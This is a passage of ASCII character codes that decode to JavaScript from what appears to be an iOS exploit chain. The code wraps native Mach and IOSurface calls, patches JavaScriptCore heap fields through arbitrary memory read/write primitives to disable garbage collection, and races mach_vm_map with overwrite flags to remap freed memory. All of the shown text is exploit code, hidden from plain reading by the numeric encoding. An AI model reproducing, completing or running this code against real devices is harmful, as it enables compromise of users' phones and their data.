115, 117, 114, 102, 97, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 73, 79, 83, 85, 82, 70, 65, 67, 69, 71, 69, 84, 66, 65, 83, 69, 65, 68, 68, 82, 69, 83, 83, 44, 32, 115, 117, 114, 102, 97, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 73, 79, 83, 117, 114, 102, 97, 99, 101, 80, 114, 101, 102, 101, 116, 99, 104, 80, 97, 103, 101, 115, 40, 115, 117, 114, 102, 97, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 73, 79, 83, 85, 82, 70, 65, 67, 69, 80, 82, 69, 70, 69, 84, 67, 72, 80, 65, 71, 69, 83, 44, 32, 115, 117, 114, 102, 97, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 82, 101, 108, 101, 97, 115, 101, 40, 111, 98, 106, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 82, 69, 76, 69, 65, 83, 69, 44, 32, 111, 98, 106, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 104, 111, 119, 40, 111, 98, 106, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 72, 79, 87, 44, 32, 111, 98, 106, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 109, 97, 107, 101, 95, 109, 101, 109, 111, 114, 121, 95, 101, 110, 116, 114, 121, 95, 54, 52, 40, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 112, 101, 114, 109, 105, 115, 115, 105, 111, 110, 44, 32, 111, 98, 106, 101, 99, 116, 95, 104, 97, 110, 100, 108, 101, 44, 32, 112, 97, 114, 101, 110, 116, 95, 101, 110, 116, 114, 121, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 77, 65, 75, 69, 95, 77, 69, 77, 79, 82, 89, 95, 69, 78, 84, 82, 89, 95, 54, 52, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 112, 101, 114, 109, 105, 115, 115, 105, 111, 110, 44, 32, 111, 98, 106, 101, 99, 116, 95, 104, 97, 110, 100, 108, 101, 44, 32, 112, 97, 114, 101, 110, 116, 95, 101, 110, 116, 114, 121, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 40, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 44, 32, 109, 97, 115, 107, 44, 32, 102, 108, 97, 103, 115, 44, 32, 111, 98, 106, 101, 99, 116, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 99, 111, 112, 121, 44, 32, 99, 117, 114, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 44, 32, 109, 97, 120, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 44, 32, 105, 110, 104, 101, 114, 105, 116, 97, 110, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 86, 77, 95, 77, 65, 80, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 44, 32, 109, 97, 115, 107, 44, 32, 102, 108, 97, 103, 115, 44, 32, 111, 98, 106, 101, 99, 116, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 99, 111, 112, 121, 44, 32, 99, 117, 114, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 32, 124, 32, 40, 109, 97, 120, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 32, 60, 60, 32, 51, 50, 110, 41, 44, 32, 105, 110, 104, 101, 114, 105, 116, 97, 110, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 109, 97, 112, 40, 97, 100, 100, 114, 44, 32, 108, 101, 110, 44, 32, 112, 114, 111, 116, 44, 32, 102, 108, 97, 103, 115, 44, 32, 102, 100, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 77, 65, 80, 44, 32, 97, 100, 100, 114, 44, 32, 108, 101, 110, 44, 32, 112, 114, 111, 116, 44, 32, 102, 108, 97, 103, 115, 44, 32, 102, 100, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 108, 111, 99, 107, 40, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 76, 79, 67, 75, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 117, 110, 108, 111, 99, 107, 40, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 85, 78, 76, 79, 67, 75, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 40, 116, 97, 115, 107, 44, 32, 110, 97, 109, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 116, 97, 115, 107, 44, 32, 110, 97, 109, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 116, 97, 115, 107, 95, 115, 101, 108, 102, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 48, 120, 50, 48, 51, 110, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 118, 97, 108, 61, 48, 110, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 117, 102, 32, 61, 32, 99, 97, 108, 108, 111, 99, 40, 49, 110, 44, 32, 56, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 98, 117, 102, 44, 32, 118, 97, 108, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 98, 117, 102, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 100, 105, 115, 97, 98, 108, 101, 95, 103, 99, 40, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 118, 109, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 103, 108, 111, 98, 97, 108, 84, 104, 105, 115, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 32, 43, 32, 48, 120, 51, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 104, 101, 97, 112, 32, 61, 32, 118, 109, 32, 43, 32, 48, 120, 99, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 32, 61, 32, 104, 101, 97, 112, 32, 43, 32, 48, 120, 50, 52, 49, 110, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 103, 99, 32, 100, 105, 115, 97, 98, 108, 101, 100, 33, 33, 34, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 118, 109, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 103, 108, 111, 98, 97, 108, 84, 104, 105, 115, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 32, 43, 32, 48, 120, 51, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 104, 101, 97, 112, 32, 61, 32, 118, 109, 32, 43, 32, 48, 120, 99, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 32, 61, 32, 104, 101, 97, 112, 32, 43, 32, 48, 120, 50, 52, 49, 110, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 44, 32, 49, 110, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 103, 99, 32, 101, 110, 97, 98, 108, 101, 100, 33, 33, 34, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 100, 105, 115, 97, 114, 109, 95, 103, 99, 40, 41, 32, 123, 10, 32, 32, 32, 32, 47, 42, 10, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 80, 114, 111, 98, 108, 101, 109, 58, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 71, 67, 32, 105, 115, 32, 116, 114, 105, 103, 103, 101, 114, 105, 110, 103, 44, 32, 97, 110, 100, 32, 105, 116, 32, 99, 97, 108, 108, 115, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 32, 45, 62, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 32, 45, 62, 32, 116, 104, 114, 101, 97, 100, 46, 103, 101, 116, 82, 101, 103, 105, 115, 116, 101, 114, 115, 32, 45, 62, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 32, 105, 115, 32, 98, 97, 110, 110, 101, 100, 32, 98, 121, 32, 97, 117, 116, 111, 98, 111, 120, 32, 105, 110, 32, 62, 61, 49, 56, 46, 52, 32, 119, 104, 105, 99, 104, 32, 108, 101, 97, 100, 115, 32, 116, 111, 32, 99, 114, 97, 115, 104, 46, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 83, 111, 108, 117, 116, 105, 111, 110, 58, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 84, 111, 32, 119, 111, 114, 107, 32, 99, 111, 114, 114, 101, 99, 116, 108, 121, 32, 105, 110, 32, 110, 111, 106, 105, 116, 32, 101, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 32, 71, 67, 32, 110, 101, 101, 100, 115, 32, 116, 111, 32, 115, 99, 97, 110, 32, 97, 116, 32, 108, 101, 97, 115, 116, 32, 116, 104, 101, 32, 115, 116, 97, 99, 107, 32, 111, 102, 32, 99, 117, 114, 114, 101, 110, 116, 32, 116, 104, 114, 101, 97, 100, 32, 119, 105, 116, 104, 32, 99, 97, 108, 108, 32, 116, 111, 32, 103, 97, 116, 104, 101, 114, 70, 114, 111, 109, 67, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 46, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 73, 116, 32, 100, 111, 101, 115, 110, 39, 116, 32, 105, 110, 118, 111, 108, 118, 101, 32, 99, 97, 108, 108, 105, 110, 103, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 32, 115, 111, 32, 105, 116, 39, 115, 32, 115, 97, 102, 101, 32, 116, 111, 32, 100, 111, 46, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 118, 111, 105, 100, 32, 77, 97, 99, 104, 105, 110, 101, 84, 104, 114, 101, 97, 100, 115, 58, 58, 103, 97, 116, 104, 101, 114, 67, 111, 110, 115, 101, 114, 118, 97, 116, 105, 118, 101, 82, 111, 111, 116, 115, 40, 46, 46, 46, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 99, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 83, 116, 97, 116, 101, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 103, 97, 116, 104, 101, 114, 70, 114, 111, 109, 67, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 40, 99, 111, 110, 115, 101, 114, 118, 97, 116, 105, 118, 101, 82, 111, 111, 116, 115, 44, 32, 106, 105, 116, 83, 116, 117, 98, 82, 111, 117, 116, 105, 110, 101, 115, 44, 32, 99, 111, 100, 101, 66, 108, 111, 99, 107, 115, 44, 32, 42, 99, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 83, 116, 97, 116, 101, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 46, 46, 46, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 33, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 40, 108, 111, 99, 107, 101, 114, 44, 32, 98, 117, 102, 102, 101, 114, 44, 32, 99, 97, 112, 97, 99, 105, 116, 121, 44, 32, 38, 115, 105, 122, 101, 44, 32, 42, 99, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 41, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 103, 114, 111, 119, 66, 117, 102, 102, 101, 114, 40, 115, 105, 122, 101, 44, 32, 38, 98, 117, 102, 102, 101, 114, 44, 32, 38, 99, 97, 112, 97, 99, 105, 116, 121, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 79, 110, 32, 116, 104, 101, 32, 111, 116, 104, 101, 114, 32, 104, 97, 110, 100, 44, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 32, 119, 105, 108, 108, 32, 116, 114, 121, 32, 116, 111, 32, 105, 116, 101, 114, 97, 116, 101, 32, 116, 104, 114, 101, 97, 100, 115, 32, 111, 102, 32, 104, 101, 97, 112, 46, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 32, 97, 110, 100, 32, 99, 97, 108, 108, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 46, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 87, 101, 32, 99, 97, 110, 32, 97, 118, 111, 105, 100, 32, 105, 116, 32, 98, 121, 32, 110, 117, 108, 108, 105, 110, 103, 32, 102, 105, 114, 115, 116, 32, 109, 101, 109, 98, 101, 114, 32, 111, 102, 32, 104, 101, 97, 112, 46, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 46, 116, 104, 114, 101, 97, 100, 115, 32, 119, 104, 105, 99, 104, 32, 112, 114, 101, 118, 101, 110, 116, 115, 32, 105, 116, 101, 114, 97, 116, 105, 111, 110, 32, 97, 110, 100, 32, 115, 116, 105, 108, 108, 32, 109, 97, 107, 101, 115, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 32, 114, 101, 116, 117, 114, 110, 32, 116, 114, 117, 101, 46, 10, 32, 32, 32, 32, 10, 32, 32, 32, 32, 42, 47, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 118, 109, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 103, 108, 111, 98, 97, 108, 84, 104, 105, 115, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 32, 43, 32, 48, 120, 51, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 104, 101, 97, 112, 32, 61, 32, 118, 109, 32, 43, 32, 48, 120, 99, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 104, 101, 97, 112, 32, 43, 32, 48, 120, 49, 57, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 116, 104, 114, 101, 97, 100, 115, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 116, 104, 114, 101, 97, 100, 115, 32, 43, 32, 48, 120, 50, 48, 110, 44, 32, 48, 120, 48, 110, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 103, 99, 32, 100, 105, 115, 97, 114, 109, 101, 100, 34, 41, 59, 10, 125, 10, 10, 100, 105, 115, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 100, 105, 115, 97, 114, 109, 95, 103, 99, 40, 41, 59, 10, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 10, 10, 76, 79, 71, 40, 34, 91, 43, 93, 32, 72, 101, 108, 108, 111, 32, 102, 114, 111, 109, 58, 32, 34, 32, 43, 32, 109, 97, 99, 104, 95, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 40, 41, 46, 104, 101, 120, 40, 41, 41, 59, 10, 76, 79, 71, 40, 34, 91, 43, 93, 32, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 58, 32, 34, 32, 43, 32, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 46, 104, 101, 120, 40, 41, 41, 59, 10, 10, 108, 101, 116, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 61, 32, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 56, 110, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 49, 48, 110, 59, 10, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 49, 56, 110, 59, 10, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 50, 48, 110, 59, 10, 108, 101, 116, 32, 103, 111, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 50, 56, 110, 59, 10, 108, 101, 116, 32, 114, 97, 99, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 51, 48, 110, 59, 10, 10, 99, 109, 112, 56, 95, 119, 97, 105, 116, 95, 102, 111, 114, 95, 99, 104, 97, 110, 103, 101, 40, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 95, 112, 116, 114, 44, 32, 48, 41, 59, 10, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 40, 41, 32, 123, 10, 32, 32, 32, 32, 99, 109, 112, 56, 95, 119, 97, 105, 116, 95, 102, 111, 114, 95, 99, 104, 97, 110, 103, 101, 40, 103, 111, 95, 115, 121, 110, 99, 95, 112, 116, 114, 44, 32, 48, 41, 59, 10, 10, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 117, 114, 101, 97, 100, 54, 52, 40, 103, 111, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 32, 33, 61, 32, 48, 110, 41, 32, 123, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 109, 112, 56, 95, 119, 97, 105, 116, 95, 102, 111, 114, 95, 99, 104, 97, 110, 103, 101, 40, 114, 97, 99, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 44, 32, 48, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 100, 105, 115, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 65, 108, 108, 111, 99, 97, 116, 101, 32, 97, 32, 110, 101, 119, 32, 110, 111, 110, 45, 99, 111, 110, 116, 105, 103, 117, 111, 117, 115, 32, 109, 97, 112, 32, 101, 110, 116, 114, 121, 32, 40, 111, 112, 116, 105, 111, 110, 97, 108, 108, 121, 32, 117, 115, 105, 110, 103, 32, 97, 32, 109, 101, 109, 111, 114, 121, 32, 111, 98, 106, 101, 99, 116, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 107, 114, 32, 61, 32, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 40, 109, 97, 99, 104, 95, 116, 97, 115, 107, 95, 115, 101, 108, 102, 40, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 103, 101, 116, 95, 98, 105, 103, 105, 110, 116, 95, 97, 100, 100, 114, 40, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 70, 73, 88, 69, 68, 32, 124, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 79, 86, 69, 82, 87, 82, 73, 84, 69, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 80, 82, 79, 84, 95, 68, 69, 70, 65, 85, 76, 84, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 80, 82, 79, 84, 95, 68, 69, 70, 65, 85, 76, 84, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 73, 78, 72, 69, 82, 73, 84, 95, 78, 79, 78, 69, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 107, 114, 32, 33, 61, 32, 75, 69, 82, 78, 95, 83, 85, 67, 67, 69, 83, 83, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 76, 79, 71, 40, 34, 91, 45, 93, 32, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 32, 102, 97, 105, 108, 101, 100, 32, 33, 33, 33, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 58, 32, 34, 32, 43, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 46, 104, 101, 120, 40, 41, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 58, 32, 34, 32, 43, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 46, 104, 101, 120, 40, 41, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 101, 120, 105, 116, 40, 48, 110, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 114, 97, 99, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 47, 47, 32, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 